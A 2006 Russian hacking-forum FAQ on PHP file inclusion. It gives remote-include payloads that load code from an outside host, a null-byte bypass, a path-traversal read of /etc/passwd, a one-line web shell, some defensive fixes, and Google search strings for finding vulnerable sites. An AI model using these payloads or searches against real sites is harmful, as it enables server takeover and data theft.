Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   PHP Including FAQ (https://forum.antichat.xyz/showthread.php?t=18368)

kot777 29.04.2006 14:29

PHP Including FAQ
 
Php including - является одной из самых опасных ошибок разработчиков веб-сайтов.
Что же такое php including? Под ним подразумевают внедрение произвольного php кода в страницу.
Для начала рассмотрим техническую сторону вопроса ,т.е. из-за чего происходит внедрение кода.
Вот допустим есть файл index.php и в нем код:

Код:

<?
echo "Конфигурация:<br>";
include "config.php";
?>

а в файле config.php содержится такой текст:
Код:

<?
echo "Процессор:1,7<br>Видеоркарта:64 МБ";
?>

Примечание:
<?
Эти знаки показывают что между ними будет находиться php код.
?>
<br> переход на новую строку.
include: функция включения другого файла.

Для файла index.php интерпритатор php будет иметь вид

Код:

<?
echo "Конфигурация:<br>";
echo "Процессор:1,7<br>Видеоркарта:64 МБ";
?>

т.е. вместо include выведится содержимое того файла.

Здесь рассматривался пример как в php происходит жесткий инклуд(когда файл который нужно проинклудить жестко определен в коде и не может быть изменен), теперь рассмотрим какие же бывают случаи когда файл можно задать самому.
Пример:
Код:

файл index.php
<?
if($page!='')
include "$page";
?>

здесь вначале проверяется, не пустой ли параметр $page, если не пустой, тогда он инклудиться, и если мы сделаем такой запрос
index.php?page=config.php
то на экране нам покажеться

Код:

Процессор:1,7
Видеоркарта:64 МБ

казалось бы тут не может быть опасности, а она тут есть.
Вы можете подумать что можно инклудить только те файлы которые есть в этой
папке (или вообще на сервере) ,а вот и нет.
Можно инклудить и удаленные(не те которые удалили, а те которые находяться в другом месте) файлы.
вот например так:
создадим на narod.ru сайт sec.narod.ru и поместим туда файл
index.php с таким содержимым:

Код:

<?
echo "Этот пример показывает, что инклудить можно удаленные файлы";
?>

и сделаем такой запрос:
index.php?page=http://sec.narod.ru/index.php
и у нас отобразиться:
Этот пример показывает, что инклудить можно удаленные файлы

Иногда разработчики делают такую "защиту":
файл index.php

Код:

<?
if($page!='')
include "$page.php";
?>

Но если мы сделаем такой запрос
index.php?page=http://sec.narod.ru/index
то интерпретатор php автоматически добавит .php к нашему запросу, и

параметр $page будет иметь такой вид:
page=http://sec.narod.ru/index.php

Примечание:
инклудить можно не только *.php файлы, а файлы с любым расширением, лишь бы
там был написан php код.
Еще разработчики, иногда делают такую защиту

Код:

<?
if($page!='')
include "$page.jpg";
?>

Наивно полагают что будут инклудиться только картинки. Иногда они правы, а иногда и нет.
Существует такое понятие как ноль(он же %00 и \x00 ).
Примечание:
Ноль является символом перехода строки.
Рассмотрим на практике как он работает.
если послать такой запрос

index.php?page=http://sec.narod.ru/index.php
то интерпретатор php присвоит переменной $page такое значение:
page=http://sec.narod.ru/index.php.jpg
А теперь попробуем составить запрос с нулем:
index.php?page=http://sec.narod.ru/index.php%00
и переменной $page присвоиться такое значение
Код:

page=http://sec.narod.ru/index.php[NULL].jpg

и для интерпретатора уже будет иметь такой вид:
page=http://sec.narod.ru/index.php
Давайте рассмотрим как же можно защищаться от таких опасных ошибок:
Можно защищаться функцией file_exists
эта функция проверяет существует ли такой файл или нет.
Например

Код:

<?
$page = "../../files/$page.php";
if(file_exists($page))
include $page;
?>

здесь она проверяет есть ли такой файл или нет и затем его инклудит.

Есть одно важное "НО" функция не работает с удаленными файлами, т.е. в этом случае

мы не сможем делать такие запросы:
index.php?page=http://sec.narod.ru/index.php
Причем параметр $page должен находиться в папке /files/
Опасность резко снижаеться, но возникает теперь другая проблема, если мы
имеем право инклудить только локальные файлы, так почему же нам это не
сделать? и напишем такой запрос
index.php?page=../../../../../../../../etc/passwd
и на покажется файл passwd
Поэтому нужно еще как нибудь обезопасить себя, например если вырезать ненужные символы.
Вот код который обезопасит вас от php инклудов

Код:

<?
$page=str_replace("/","",$page);
$page=str_replace(".","",$page);
if(file_exists($page))
include "/files/$page";
?>

Примечание:
функция str_replace (синтаксис $str=str_replace($str1,$str2,$page))заменяе т первую строку $str1 второй
строкой $str2 в параметре $page
Итак мы научились пользоваться и защищаться от php инклудов. "Ну и что из
этого что можно проинклудить файл" - Спросите вы.
А дело в том что если мы можем инклудить php код, то мы можем исполнять
команды на сервере
пример:
создадим на sec.narod.ru файл main.txt с содержимым:

Код:

<?
system($cmd);
?>

и сделаем такой запрос:
index.php?page=http://sec.narod.ru/main.txt&cmd=ls
и у нас отобразиться команда ls
примечание:
команда ls выводит список файлов в линуксе, в виндоусе такая команда - dir
Автор FAQ - kot777 и k1b0rg (специально для ачата и моего раздела =) )
Так же по этой же теме можно прочитать - вот эту статью
http://forum.antichat.ru/threadnav12123-1-10.html

kot777 02.05.2006 22:05

Основные команды для поиска php инъекций в google
Код:

allinurl: index.php?page=
page.php?news=



Время: 02:03